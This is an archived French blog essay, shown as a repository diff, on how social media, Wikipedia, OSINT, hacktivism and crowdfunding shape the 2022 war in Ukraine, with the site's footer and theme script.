<p><a href="https://www.liberation.fr/international/europe/guerre-en-ukraine-200rfcom-le-site-pour-que-les-russes-puissent-trouver-leurs-soldats-tues-20220227_4ABTC24NLRHCDC4FBOBG7RZKLQ/?utm_medium=Social&xtor=CS7-51-&utm_source=Twitter#Echobox=1645970206-1" rel="noopener" target="_blank">Comme le souligne encore Libération</a>, cette initiative est "<em>une démarche altruiste autant qu’une arme psychologique supplémentaire.</em>"</p> | |||
<p>Si le site fut évidemment instantanément bloqué en Russie, il reste possible pour les familles de soldats d'en prendre connaissance par d'autres moyens (notamment la boucle Telegram qui lui est associée).</p> | |||
<p>Cette manière "d'afficher" les prisonniers et les morts est un coup de maître en terme de communication de guerre et d'ascendant psychologique dans le contexte bien particulier de l'invasion de l'Ukraine et au regard de la politique militaire de la Russie sous le règne de Poutine. Car comme le rappelle la <a href="https://twitter.com/colinlebedev/status/1498047581204586499" rel="noopener" target="_blank">collègue maîtresse de conférences en sciences politiques, Anna Colin Lebedev</a>, l'armée russe ne se soucie pas de l'identification du corps de ses soldats morts au combat. Elle s'en soucie tellement peu que : </p> | |||
<blockquote> | |||
<p>"<em>Les comités des mères de soldats sont parmi les plus vieilles ONG russes, défendant les droits des soldats et de leurs familles, depuis le retrait de l'armée sov d'Afghanistan.</em>"</p> | |||
</blockquote> | |||
<p>Mais cette nouvelle manière "d'afficher" les prisonniers et les soldats morts ennemis est aussi une manière de renouveler la doctrine militaire "classique" dans laquelle la médiatisation du sort fait aux prisonniers avait pour objectif soit de dénoncer la barbarie de l'ennemi, soit, plus rarement, de souligner le bon traitement comparatif qu'on leur réservait : </p> | |||
<blockquote> | |||
<p>"<em>Deux régimes de captivité se dégagent : ceux conformes au droit international avec des taux de mortalité bas (en 1914-1918, 3 % des prisonniers allemands sont morts en captivité britannique) et ceux reflétant une violence extrême avec des taux beaucoup plus élevés (pendant la Seconde Guerre mondiale, 57 % des prisonniers soviétiques détenus par les nazis sont morts). Ces mauvais traitements favorisent la médiatisation du prisonnier dont la figure est utilisée tant pour dénoncer la barbarie de l’ennemi qui maltraiterait les soldats tombés entre ses mains que pour souligner le bon traitement que l’on réserverait aux prisonniers détenus. Cette prise de parole tend à remobiliser les troupes et participent à ce que les historiens nomment la mobilisation culturelle des sociétés en guerre.</em>" (<a href="https://ehne.fr/fr/encyclopedie/th%C3%A9matiques/guerres-et-m%C3%A9moires/combattants/prisonniers-de-guerre-et-captivit%C3%A9-en-europe#sommaire-les-r-gimes-de-captivit-reflet-de-la-totalisation-du-ph-nom-ne-guerrier" rel="noopener" target="_blank">Source EHNE</a>)</p> | |||
</blockquote> | |||
<p>La puissance des témoignages disponibles sur le site <a href="https://200rf.com/" rel="noopener" target="_blank">200rf.com</a> est en tout cas considérable dans la guerre de mobilisation de l'opinion qui est en train de se jouer en Russie contre l'entrée en guerre de Poutine. </p> | |||
<p><a class="asset-img-link" href="https://www.affordance.info/.a/6a00d8341c622e53ef0278806dd8b5200d-pi"><img alt="Capture d’écran 2022-02-28 à 00.15.50" class="asset asset-image at-xid-6a00d8341c622e53ef0278806dd8b5200d img-responsive" src="https://www.affordance.info/.a/6a00d8341c622e53ef0278806dd8b5200d-500wi" title="Capture d’écran 2022-02-28 à 00.15.50"></a></p> | |||
<p> </p> | |||
<h2>Si vis pacem. </h2> | |||
<p>La guerre, les guerres, sont et seront de plus en plus numériques. Non plus simplement dans l'appareillage technologique impliqué dans la logistique et dans la gestion opérationnelle des frappes, mais dans tous les secteurs de la société et avec une internationalisation de la mise en visibilité des conflits qui échappe (en bonne partie) aux états engagés. L'amie tant regrettée <a href="https://fr.wikipedia.org/wiki/Louise_Merzeau" rel="noopener" target="_blank">Louise Merzeau</a> expliquait que le numérique était un "milieu". A ce titre il est ouvert à toutes les porosités, il capte toutes les attentions, il est traversable par toutes les opinions, et s'il ne modifie pas toujours la nature de ce qui le traverse il en modifie systématiquement la perception que nous en avons. </p> | |||
<p>Cet article s'efforce de tracer un tour d'horizon aussi complet que possible des manières dont les grands écosystèmes numériques mobilisent les espaces médiatiques et les terrains opérationnels dans lesquels se déploient les guerres modernes, et dont l'invasion de l'Ukraine sera certainement, hélas, un point de départ.</p> | |||
<p>Préparer et <em>se</em> préparer aux guerres numériques est une chose. Les citoyens comme les états-majors y semblent prêts. Créer les conditions d'une paix numérique est un tout autre chantier, dont ce conflit, notamment au travers des choix que feront les grandes plateformes, sera un révélateur implacable.</p> | |||
</article> | |||
<hr> | |||
<footer> | |||
<p> | |||
<a href="/david/" title="Aller à l’accueil"><svg class="icon icon-home"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-home"></use> | |||
</svg> Accueil</a> • | |||
<a href="/david/log/" title="Accès au flux RSS"><svg class="icon icon-rss2"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-rss2"></use> | |||
</svg> Suivre</a> • | |||
<a href="http://larlet.com" title="Go to my English profile" data-instant><svg class="icon icon-user-tie"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-user-tie"></use> | |||
</svg> Pro</a> • | |||
<a href="mailto:david%40larlet.fr" title="Envoyer un courriel"><svg class="icon icon-mail"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-mail"></use> | |||
</svg> Email</a> • | |||
<abbr class="nowrap" title="Hébergeur : Alwaysdata, 62 rue Tiquetonne 75002 Paris, +33184162340"><svg class="icon icon-hammer2"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-hammer2"></use> | |||
</svg> Légal</abbr> | |||
</p> | |||
<template id="theme-selector"> | |||
<form> | |||
<fieldset> | |||
<legend><svg class="icon icon-brightness-contrast"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-brightness-contrast"></use> | |||
</svg> Thème</legend> | |||
<label> | |||
<input type="radio" value="auto" name="chosen-color-scheme" checked> Auto | |||
</label> | |||
<label> | |||
<input type="radio" value="dark" name="chosen-color-scheme"> Foncé | |||
</label> | |||
<label> | |||
<input type="radio" value="light" name="chosen-color-scheme"> Clair | |||
</label> | |||
</fieldset> | |||
</form> | |||
</template> | |||
</footer> | |||
<script src="/static/david/js/instantpage-5.1.0.min.js" type="module"></script> | |||
<script> | |||
function loadThemeForm(templateName) { | |||
const themeSelectorTemplate = document.querySelector(templateName) | |||
const form = themeSelectorTemplate.content.firstElementChild | |||
themeSelectorTemplate.replaceWith(form) | |||
form.addEventListener('change', (e) => { | |||
const chosenColorScheme = e.target.value | |||
localStorage.setItem('theme', chosenColorScheme) | |||
toggleTheme(chosenColorScheme) | |||
}) | |||
const selectedTheme = localStorage.getItem('theme') | |||
if (selectedTheme && selectedTheme !== 'undefined') { | |||
form.querySelector(`[value="${selectedTheme}"]`).checked = true | |||
} | |||
} | |||
const prefersColorSchemeDark = '(prefers-color-scheme: dark)' | |||
window.addEventListener('load', () => { | |||
let hasDarkRules = false | |||
for (const styleSheet of Array.from(document.styleSheets)) { | |||
let mediaRules = [] | |||
for (const cssRule of styleSheet.cssRules) { | |||
if (cssRule.type !== CSSRule.MEDIA_RULE) { | |||
continue | |||
} | |||
// WARNING: Safari does not have/supports `conditionText`. | |||
if (cssRule.conditionText) { | |||
if (cssRule.conditionText !== prefersColorSchemeDark) { | |||
continue | |||
} | |||
} else { | |||
if (cssRule.cssText.startsWith(prefersColorSchemeDark)) { | |||
continue | |||
} | |||
} | |||
mediaRules = mediaRules.concat(Array.from(cssRule.cssRules)) | |||
} | |||
// WARNING: do not try to insert a Rule to a styleSheet you are | |||
// currently iterating on, otherwise the browser will be stuck | |||
// in a infinite loop… | |||
for (const mediaRule of mediaRules) { | |||
styleSheet.insertRule(mediaRule.cssText) | |||
hasDarkRules = true | |||
} | |||
} | |||
if (hasDarkRules) { | |||
loadThemeForm('#theme-selector') | |||
} | |||
}) | |||
</script> | |||
</body> | |||
</html> |
@@ -0,0 +1,137 @@ | |||
title: Ukraine. Para Bellum Numericum. Chronique du versant numérique d'une guerre au 21ème siècle. | |||
url: https://www.affordance.info/mon_weblog/2022/02/guerre-ukraine-numerique.html | |||
hash_url: 31293aa75259e6e704ec714b5a4712cf | |||
<p>Il y a déjà de longues années, je présentais le média Twitter <a href="https://iutlaroche.univ-nantes.fr/formation/nos-formations/but-information-et-communication" rel="noopener" target="_blank">à mes étudiant.e.s</a> en leur expliquant qu'il était vital de s'y intéresser car s'y donnaient à voir non seulement des informations vitales mais aussi à valeur patrimoniale que l'on se devait de suivre attentivement et, pour certaines d'entre elles, de s'efforcer de conserver. Et je prenais ce qui semblait alors assez surréaliste et baroque, <a href="https://affordance.typepad.com/mon_weblog/2012/11/cest-la-guerre-sur-twitter.html" rel="noopener" target="_blank">l'une des premières "déclarations du guerre" ce faisant exclusivement via ce média</a>. C'était le 14 novembre 2012, et <a href="https://twitter.com/IDF/status/268722403989925888" rel="noopener" target="_blank">le compte Twitter officiel de l'armée Israëlienne annonçait lancer des frappes sur le peuple palestinien vivant dans la bande de Gaza</a>.</p> | |||
<p>Depuis cette première déclaration de guerre via Twitter, les choses ont énormément changé et c'est l'écosystème numérique dans son entier, avec au premier plan les grande plateformes sociales, qui jouent un rôle déterminant, à la fois dans des opérations de désinformation ou de propagande, mais aussi plus globalement sur le plan géostratégique et géopolitique.</p> | |||
<p>Il y a 10 ans de cela, déclarer la guerre sur Twitter était une anomalie. Aujourd'hui et avec la guerre aux portes de l'Europe en Ukraine, l'anomalie serait d'imaginer une guerre sans Twitter.</p> | |||
<p>A partir de ce que révèle chaque jour la guerre en Ukraine, je veux dans cet article essayer de faire un point, forcément provisoire, sur ce qui se joue lors d'une guerre dans, par, grâce et à cause des grands écosystèmes numériques et de leur écho médiatique et géopolitique.</p> | |||
<h2>La guerre des images.</h2> | |||
<p>D'abord il y a la guerre de l'émotion et de la propagande, qui marchent toujours ensemble et qui valent tant pour les agresseurs que pour les agressés. Les médias sociaux (lorsque leur accès est encore possible et relativement "libre" pour les populations civiles), les médias sociaux sont les maîtres du tempo émotionnel de la viralisation de séquences qui, si elles ne décident jamais de l'issue d'un conflit, sont en capacité d'agir sur les opinions locales comme internationales. On pourra ici, sans prétendre à l'exhaustivité, en citer quelques-unes parmi les plus marquantes.</p> | |||
<p><strong>La guerre des images.</strong> L'image de ce jeune couple ukrainien en arme. Déjà iconique et déjà déclinée dans tant de versions, assortie de tant de hashtags. Qui convoque immédiatement la phrase réflexe. Ils feront l'amour <em>et aussi</em> la guerre.</p> | |||
<p><a class="asset-img-link" href="https://www.affordance.info/.a/6a00d8341c622e53ef0278806d9a68200d-pi"><img alt="FMiPOeMWQAIzj5b" class="asset asset-image at-xid-6a00d8341c622e53ef0278806d9a68200d img-responsive" src="https://www.affordance.info/.a/6a00d8341c622e53ef0278806d9a68200d-500wi" title="FMiPOeMWQAIzj5b"></a></p> | |||
<p><strong>Et puis il y a les mots.</strong> Les vidéo "live" du <a href="https://www.youtube.com/watch?v=p-zilnPtZ2M" rel="noopener" target="_blank">président Zelinski et de son discours de 9 minutes au lendemain de l'annonce de l'entrée des troupes russes</a>. Un discours d'une force et d'une puissance assez extraordinaire et qui achève de lui conférer, en tout cas pour celles et ceux qui le découvrent à cette occasion, une stature de chef d'état dépassant les caricatures que l'on faisait de lui lorsqu'on ne retenait de son accession au pouvoir que les fait qu'il était un ancien acteur comique ayant incarné dans une série, le rôle du président Ukrainien. </p> | |||
<p>Il y a aussi cette autre vidéo, toujours du président Zelinski, où il prouve qu'il n'a pas fui et n'a pas été abattu en se filmant la veille de l'attaque nocturne sur Kiev avec des membres de son gouvernement. Vidéo qui est devenue virale et <a href="https://twitter.com/SaoSasha/status/1497311531041640450" rel="noopener" target="_blank">que l'on voit circuler avec différents montages musicaux</a> visant à la transformer en outil de propagande.</p> | |||
<p>Chacune des apparitions de Zelinski est bien sûr scrutée, mais son expression publique sur les médias sociaux est, <a href="https://www.linkedin.com/feed/update/urn:li:activity:6903380771646574592/" rel="noopener" target="_blank">comme l'analyse Romain Pigenel</a>, un cas d'école : </p> | |||
<blockquote> | |||
<p><em>"Cas d'école (...) de communication asymétrique, puisque ce système de communication est à la fois plus agile, et en définitive plus performant, que tout un appareil de propagande classique - sous réserve, bien sûr, du libre accès de ses "cibles" potentielles à Internet. En outre, chaque vidéo contribue à l'augmentation exponentielle de son nombre d'abonnés, et donc de soutiens potentiels (ou au moins de témoins) à sa cause.</em></p> | |||
<p><em>Rappelons que le président ukrainien est un expert du genre, et qu'il s'était fait élire en 2019 par une campagne présidentielle atypique, reposant sur ... les réseaux sociaux et ses vidéos."</em></p> | |||
</blockquote> | |||
<p><a href="https://twitter.com/ZelenskyyUa" rel="noopener" target="_blank">Son compte Twitter</a> comptait Samedi 26 Février plus de 2,8 millions de followers (3,4 millions ce dimanche soir). Il semble s'efforcer de continuer à poster très régulièrement, à la fois en ukrainien et en anglais, principalement pour attester d'une narration diplomatique des contacts qu'il continue de nouer avec différents états. La vidéo du 26 février à 7h du matin qu'il poste <a href="https://twitter.com/ZelenskyyUa/status/1497450853380280320" rel="noopener" target="_blank">pour prouver qu'il est toujours vivant et présent sur place</a>, comptait samedi soir plus de 16 millions de vues. Ces tweets sont aussi une pulsation particulière, comme celle d'une ligne de vie, celle d'une preuve de vie. Et lorsque ce rythme ralentit ou s'interrompt, chacun s'interroge.</p> | |||
<p>Par le témoignage des journalistes et correspondants locaux sur place, chacun mesure qu'il n'y a chez Zelinski nulle forfanterie mais qu'il faut un courage singulier pour tenir ces discours et diffuser ces preuves de présence, lors même qu'il se sait la cible numéro 1 des armées de Poutine (<a href="https://www.thetimes.co.uk/article/volodymyr-zelensky-russian-mercenaries-ordered-to-kill-ukraine-president-cvcksh79d" rel="noopener" target="_blank">dont les mercenaires de la force Wagner</a>), et qu'il mesure parfaitement qu'en dehors d'un soutien logistique en armes et équipements défensifs, aucun pays ne lui viendra en aide par l'envoi de troupes. Son courage est d'autant plus flagrant que sa solitude et celle des citoyens ukrainiens semble absolue sur le plan militaire.</p> | |||
<h2>La guerre en sources ouvertes.</h2> | |||
<p>Dans le flot continu des images qui se propagent sur les médias sociaux à l'occasion de chaque conflit dans le monde, la part des éléments de désinformation est une constante. Car les guerres se ressemblent toutes. Alors on y revoit toujours circuler des images de conflits anciens dont il est presque impossible de déterminer, sans un temps d'analyse, si elles sont, premièrement authentiques, et deuxièmement, un témoignage de ce qui se passe actuellement en Ukraine. </p> | |||
<p>Chacun, citoyen ou journaliste, Ukrainien ou étranger, présent sur place, est en mesure de documenter le conflit qu'il traverse, vit et éprouve. Mais chacun d'entre nous, à distance, dans le flot continu des partages de comptes qui nous ne suivons habituellement pas, n'est pas en mesure de trier <em>a priori</em> le bon grain de l'ivraie, les témoignages authentiques et les éléments de désinformation, qu'ils soient d'ailleurs volontairement publiés ou accidentellement repris.</p> | |||
<p>D'où l'intérêt d'initiatives comme celle de <a href="https://twitter.com/StevenJambot/status/1496901518183833604" rel="noopener" target="_blank">Steven Jambot qui publie et maintient à jour une liste des comptes authentifiés de journalistes de médias francophones envoyés spéciaux en Ukraine</a> ; mais aussi ou celles d'autres journalistes ou activistes que l'on dit spécialisés "OSINT" (Open Source INTelligence), c'est à dire avec l'habitude de travailler à partir de sources ouvertes, même si là encore la prudence est de mise comme on l'a vu à propos des <a href="https://twitter.com/vincentglad/status/1496779204498763780" rel="noopener" target="_blank">supposées métadonnées permettant de dater les discours (et les intentions) d'entrée en guerre de Poutine</a> avant que la guerre ne soit effectivement déclarée. On signalera également la liste agrégée par <a href="https://twitter.com/i/lists/1497480890028634120" rel="noopener" target="_blank">Bluetouff et qui rassemble plus d'une centaine de sources diplomatiques</a>.</p> | |||
<h2>WikipéWar</h2> | |||
<p>Impossible de ne pas évoquer le rôle central que joue aujourd'hui Wikipédia dans l'actualisation et la documentation en temps réel des situations de conflit. Et la guerre en Ukraine en fournit chaque jour des exemples. Fabricio Cardenas, un des administrateurs de l'encyclopédie, <a href="https://twitter.com/bibliofab66/status/1496785203502600192" rel="noopener" target="_blank">expliquait</a> ainsi le 24 février :</p> | |||
<blockquote> | |||
<p>"<em>Alors que l'attaque de la Russie contre l'Ukraine débutait ce matin à 4h, l'article "Invasion de l'Ukraine par la Russie en 2022" était créé sur Wikipédia dès 5h42. Une vingtaine de contributeurs sont déjà intervenus (je viens de mettre à jour la carte). A cette heure, l'article existe déjà sur les Wikipédia en 36 langues (dont le russe et l'ukrainien bien sûr).</em>"</p> | |||
</blockquote> | |||
<p>Deux jours avant le déclenchement "officiel" du conflit, le 22 février, c'est une guerre d'édition qui démarrait <a href="https://affordance.typepad.com/mon_weblog/2016/11/wikipediem-electoral.html" rel="noopener" target="_blank">de manière hélas presque déjà classique</a>. Guerre d'édition bloquée <a href="https://www.facebook.com/fabricio.cardenas/posts/10159125015617182" rel="noopener" target="_blank">par la vigilance des administrateurs de l'encyclopédie</a> : </p> | |||
<blockquote> | |||
<p><em>"Je viens de bloquer une adresse IP et d'annuler ses 70 contributions faites cette nuit qui consistaient à remplacer les cartes présentes sur tous les articles des Républiques de Russie avec un petit détail en plus : la petite zone à gauche y apparaît comme faisant partie de la Russie. Il s'agit bien de la Crimée, officiellement toujours territoire Ukrainien. Les cartes d'origine ont donc été rétablies."</em></p> | |||
</blockquote> | |||
<p>Et le 26 février au matin <a href="https://www.facebook.com/fabricio.cardenas/posts/10159128233987182?__cft__%5B0%5D=AZVfbq9-fUfgKbBt9_m0qIW-yFZghQIS6SLv5kOht5_7TWZlsWrySLsx2KFD0-A1umQGuWc41F7HTl1mjH1oT35q0ijgKCt81pMA4FnxESNAu-ta_GUJsLyKBSsSsrW5OBs&__tn__=%2CO%2CP-R" rel="noopener" target="_blank">il expliquait encore</a> : </p> | |||
<blockquote> | |||
<p>"<em>Bien que le nombre de contributeurs sur la Wikipédia en ukrainien ait été divisé par deux en 2 jours, celle-ci poursuit son activité et documente la guerre en cours. Wikimedia Ukraine a publié hier un message d'encouragement : [traduction Google translate]</em><br><em>« Hier, la Russie a lancé une nouvelle vague d'agression contre l'Ukraine. Si vous avez besoin de l'aide de Wikimedia Ukraine - écrivez à info@wikimedia.org.ua. Aujourd'hui nous sommes suivis par le monde entier, et les projets wiki sont l'une des principales sources d'information. Nous vous exhortons à lutter contre d'éventuelles fausses informations !</em> »"</p> | |||
</blockquote> | |||
<p>Pendant ces temps de conflit et de guerre, Wikipédia jouit d'un statut ambigu car elle est à la fois la première source d'information vers laquelle on est tenté de se porter pour vérifier des faits ou disposer d'éléments vérifiables à distance des controverses habituelles de Twitter ou de Facebook. Mais on sait également que l'essentiel des informations qui y sont disponibles sur la guerre en cours risquent d'être "ralenties" et les pages temporairement figées du fait des nombreuses tentatives de désinformation dont l'encyclopédie va être la cible. </p> | |||
<p>Elle reste pour autant un indice documentaire majeur de ce qui se joue dans ce conflit. Toujours en lisant et suivant Fabricio Cardenas et d'autres wikipédien.ne.s on apprend que parmi les articles les plus consultés sur Wikipedia en ukrainien c'est la page "Cocktail Molotov" qui a été vue plus de 100 000 fois en trois jours alors qu'elle plafonne habituellement à 200 vues journalières. Elle est suivie des pages "Invasion de l'Ukraine", "SWIFT" (Society for Worldwide Interbank Financial Telecommunication), "Anonymous" (le collectif de hackers) et "Fantôme de Kiev" (cet aviateur qui aurait abattu 6 avions russes le premier jour du conflit). </p> | |||
<h2>Les marchés sont des conversations. Les guerres également.</h2> | |||
<p>"<em>Les marchés deviennent des conversations entre les entreprises et les consommateurs.</em>" Telle est la thèse centrale de l'essai publié en 1999 par Rick Levine, Christopher Locke, Doc Searls, et David Weinberger, le "<a href="https://fr.wikipedia.org/wiki/The_Cluetrain_Manifesto" rel="noopener" target="_blank">Cluetrain Manifesto</a>" (manifeste des évidences).</p> | |||
<p><strong>Tout le monde parle de la guerre.</strong> La guerre est au centre des conversations sociales, comme avant elle le Covid, les Gilets Jaunes, et tout ce qui traverse et frappe à l'échelle de nos collectifs humains. Certains s'en désolent et raillent le fait que chacun, après être devenu sociologue, spécialiste du maintien de l'ordre ou bien encore épidémiologiste, se place aujourd'hui comme expert militaire et stratège en géopolitique. Je renvoie ici au <a href="https://twitter.com/versac/status/1497150919695294464" rel="noopener" target="_blank">court thread de Nicolas Vanbremersch</a>, qui explique pourquoi ces disqualifications <em>a priori</em> n'ont aucun sens et ne rendent pas compte de ce qui se joue d'important dans ces interstices et espaces conversationnels numériques. Extrait : </p> | |||
<blockquote> | |||
<p>"<em>Nous ne sommes pas experts et le savons. Mais nous ne déléguons pas l'expression et la construction de convictions à des sachants. Nous interagissons, réagissons, partageons, discutons. Comme les hommes et femmes l'ont toujours fait. Et ce faisant, nous montons en compétence, pour beaucoup, en nous frottant à des sources actives, à des sachants qui s'engagent dans la conversation, qui nous nourrissent. Certains d'entre nous s'égarent. Et dans tout ça, une infime minorité sort de sa zone de compétence pour l'appliquer à un nouveau sujet. (...) Évidemment, c'est confus, complexe. Mais réduire la figure des gens qui s'expriment en ligne sur ces sujets à celle d'un gros beauf qui sait tout ne changera pas cette réalité confuse et complexe. Elle disqualifie sans rien résoudre. Et heureusement que tout le monde parle Ukraine, nucléaire, géopolitique, guerre, forces, alliances. Que tout le monde se sente concerné et émette un avis. C'est le signe d'une démocratie active. C'est là où ça n'a pas lieu qu'est le problème.</em>" </p> | |||
</blockquote> | |||
<p>J'ajoute que cette <a href="https://www.liberation.fr/ecrans/2008/01/17/wikipedia-est-un-projet-encyclopedique-et-un-bien-commun-de-l-humanite_954216/" rel="noopener" target="_blank">babélisation des expertises</a> et des opinions (et la babélisation des approximations qui est son envers) est aussi la source nécessaire de la construction de cadre collectifs d'énonciation sur le temps long, comme dans le cas, certes exceptionnel mais tellement enthousiasmant, de Wikipédia. Elle est également la vitalité de ce que j'appelle "<a href="https://www.affordance.info/mon_weblog/2005/10/et_le_chercheur.html" rel="noopener" target="_blank">l'effet Pundit</a>", c'est à dire la situation d'énonciation dans laquelle se trouvent des experts "légitimes" (par leur situation académique ou professionnelle) et qui vont voir pousser vers eux à moindre coût cognitif un ensemble d'éléments factuels, d'analyses, de sources et de points de vue qui vont nourrir leur expertise tant qu'ils acceptent de la maintenir accessible et transparente.</p> | |||
<p>Chacun a bien plus à gagner dans le bruit désordonné des conversations que dans le silence organisé des populations. </p> | |||
<h2>Théâtre des opérations et décor des affiliations.</h2> | |||
<p>Comme à chaque guerre, comme à chaque injustice à résonance potentiellement planétaire ou en tout cas occidentale, Facebook propose d'ajouter un "décor", c'est le terme, à notre photo de profil. Ici ce sera le drapeau Ukrainien. Faisant de chacun d'entre nous le choisissant, une anecdotique et anonyme Tour Eiffel illuminée, la symbolique est facile. Elle participe d'une forme bien documentée de slacktivisme. Mais il ne faut pas la mépriser pour autant : elle demeure une affiliation iconique dont l'intérêt repose sur les raisons singulières qui poussent au choix de s'afficher. Il y a le théâtre des opérations. Et il y a les décors Facebook. Ces talismans, ces "panneaux" au sujet desquels, au moment de la crise des Gilets Jaunes, la sociologue <a href="https://www.affordance.info/mon_weblog/2018/11/gilets-jaunes-internet-familles-modestes-facebook.html" rel="noopener" target="_blank">Dominique Pasquier écrivait</a> : </p> | |||
<blockquote> | |||
<p>"<em>L’enjeu n’est pas tant de discuter du contenu de ces messages que de demander à ses amis s’ils sont d’accord avec le fait que ce qui est mis en ligne me reflète moi ! Le but est plus une recherche de consensus. On s’empare de ces messages pour dire qu’on s’y reconnaît et on demande aux autres s’ils nous y reconnaissent. Ces partages se font avec des gens qu’on connaît. On ne cherche pas à étendre sa sociabilité.</em>"</p> | |||
</blockquote> | |||
<p><a class="asset-img-link" href="https://www.affordance.info/.a/6a00d8341c622e53ef02942f9b5819200c-pi"><img alt="Capture d’écran 2022-02-26 à 14.14.28" class="asset asset-image at-xid-6a00d8341c622e53ef02942f9b5819200c img-responsive" src="https://www.affordance.info/.a/6a00d8341c622e53ef02942f9b5819200c-500wi" title="Capture d’écran 2022-02-26 à 14.14.28"></a></p> | |||
<p>Alors chacun ajoute, ou pas, ici un cadre décor drapeau ukrainien, là-bas des coeurs jaunes et bleus. Tatouages sociaux éphémères mais signifiants. Manière d'espérer faire masse sans se raconter trop. De prendre part au bruit du monde. De faire si peu mais de <em>faire</em> pourtant.</p> | |||
<h2>Cyberguerre.</h2> | |||
<p>La cyberguerre se décline habituellement via les opérations tactiques visant à bloquer ou infiltrer des réseaux de communications ou à paralyser des infrastructures vitales (hôpitaux notamment). L'envahissement de l'Ukraine ne déroge pas à cette règle. L'Ukraine a été la cible de <a href="https://www.lemonde.fr/pixels/article/2022/02/24/l-offensive-russe-en-ukraine-s-accompagne-de-cyberattaques_6115058_4408996.html" rel="noopener" target="_blank">cyber-attaques russes dès le lancement de l'opération militaire</a>. Samedi 26 février, le collectif de hackers "Anonymous" a annoncé avoir lancé une opération contre la Russie, faisant tomber et rendant inaccessibles Samedi en fin d'après-midi les principaux sites gouvernementaux (dont celui du Kremlin), mais <a href="https://twitter.com/AnonymousUK2022/status/1497711787990560772" rel="noopener" target="_blank">également celui de Gazprom</a>, et <a href="https://twitter.com/YourAnonTV/status/1497678663046905863" rel="noopener" target="_blank">piratant également les chaînes d'état</a> pour y <a href="https://www.tf1info.fr/international/guerre-en-ukraine-les-sites-du-kremlin-et-du-gouvernement-russe-vises-par-une-cyberattaque-anonymous-2211953.html?utm_term=Autofeed&utm_medium=Social&utm_source=Facebook&Echobox=1645898971&fbclid=IwAR1HORjTYdAZNfPrQGc4aQsxkRWnBtMr5PXmFX8RHT3G1e0WgJmNddWlQJk#xtor=CS5-111" rel="noopener" target="_blank">diffuser des ballades ukrainiennes</a> et, par intermittence, des images non-censurées du conflit en cours. Quelques heures auparavant ils avaient aussi piraté une base de données du ministère de la défense russe (contenant principalement des adresses mails et des mots de passe) qu'ils avaient ensuite leaké (mise à disposition). Le fichier n'est pour l'instant plus disponible en ligne.</p> | |||
<p>Par ailleurs l'Ukraine cherche par tous les canaux à <a href="https://www.reuters.com/world/exclusive-ukraine-calls-hacker-underground-defend-against-russia-2022-02-24/" rel="noopener" target="_blank">recruter des hackers et des spécialistes cyber</a>, et le ministre de la transformation numérique, également vice-premier minitre, <a href="https://twitter.com/FedorovMykhailo/status/1497642156076511233" rel="noopener" target="_blank">Mychailo Fedorov, tweete le lien d'un canal Telegram à cet effet</a>. Sa manière de communiquer via Twitter est par ailleurs un modèle du genre puisqu'il interpelle directement les responsables de toutes les grandes plateformes autour de leur coeur de métier rappelant à Elon Musk que pendant qu'il envoie de satellites dans l'espace, les russes envoient des missiles sur l'Ukraine, à <a href="https://twitter.com/FedorovMykhailo/status/1497941029055606791" rel="noopener" target="_blank">Zuckerberg que pendant qu'il crée le métavers les russes attaquent dans le vrai univers</a>, et ainsi de suite. </p> | |||
<p><a class="asset-img-link" href="https://www.affordance.info/.a/6a00d8341c622e53ef02942f9ba7d0200c-pi"><img alt="Capture d’écran 2022-02-28 à 09.39.25" class="asset asset-image at-xid-6a00d8341c622e53ef02942f9ba7d0200c img-responsive" src="https://www.affordance.info/.a/6a00d8341c622e53ef02942f9ba7d0200c-500wi" title="Capture d’écran 2022-02-28 à 09.39.25"></a><em>Extrait du <a href="https://twitter.com/FedorovMykhailo" rel="noopener" target="_blank">compte Twitter de Mychailo Fedorov</a> et de ses multiples adresses </em><br><em>aux grandes industries de la tech et du divertissement (entre autres)</em></p> | |||
<h2>Charity War : la guerre crowdfundée.</h2> | |||
<p>Le compte Twitter officiel de l'Ukraine a lancé <a href="https://twitter.com/Ukraine/status/1497294840110977024" rel="noopener" target="_blank">une campagne de collecte de dons</a> afin de <a href="https://bank.gov.ua/en/news/all/natsionalniy-bank-vidkriv-spetsrahunok-dlya-zboru-koshtiv-na-potrebi-armiyi" rel="noopener" target="_blank">lever des fonds pour l'armée</a>. Le Crowdfunding est désormais partout. Après le <a href="https://affordance.typepad.com/mon_weblog/2017/04/toucher-les-fonds.html" rel="noopener" target="_blank">Mercy Market</a>, <strong>voici le temps des Charity Wars</strong>. Après les dérives déjà documentées du <a href="https://affordance.typepad.com/mon_weblog/2017/06/largent-na-pas-dodeur-mais-paypal-si.html" rel="noopener" target="_blank">financement participatif de la haine</a>, voici le financement participatif de l'effort de guerre. </p> | |||
<p>Et là aussi la place de ces intermédiaires que sont les plateformes est déterminante. Ainsi <a href="https://blog.patreon.com/fr-FR/au-sujet-du-retrait-de-come-back-alive" rel="noopener" target="_blank">Patreon vient de suspendre la collecte</a> organisée par l'ONG ukrainienne <a href="https://en.wikipedia.org/wiki/Come_Back_Alive" rel="noopener" target="_blank">"Come Back Alive"</a> qui collecte des fonds pour armer et équiper les soldats Ukrainiens. Qui arbitre au final ? Et selon quels critères ? Et en est responsable ou redevable devant qui ?</p> | |||
<h2>Le Digital Labor guerrier et la guerre Uberisée.</h2> | |||
<p>La plateforme de microtasking Premise aurait été utilisée par le pouvoir Russe pour l'aider à localiser différentes cibles et pour mieux ajuster ses tirs durant l'invasion. Pour un prix entre 0,25 et 3,25 dollars via l'application Premise, il s'agissait notamment d'aider à mieux localiser des entrepôts, des ports, des infrastructures médicales, des ponts mais aussi des cratères d'explosion (?) comme en attestent les <a href="https://twitter.com/hiddenmarkov/status/1497351111656751109" rel="noopener" target="_blank">copies d'écran de Bogdan Kulynich qui a révélé l'histoire</a>.</p> | |||
<p>La société Premise a publié dans la soirée un <a href="https://www.premise.com/blog/premises-response-to-allegations-of-influence-in-ukraine/" rel="noopener" target="_blank">communiqué niant toute implication</a> et annonçant dans le même temps suspendre préventivement son application sur le territoire Ukrainien.</p> | |||
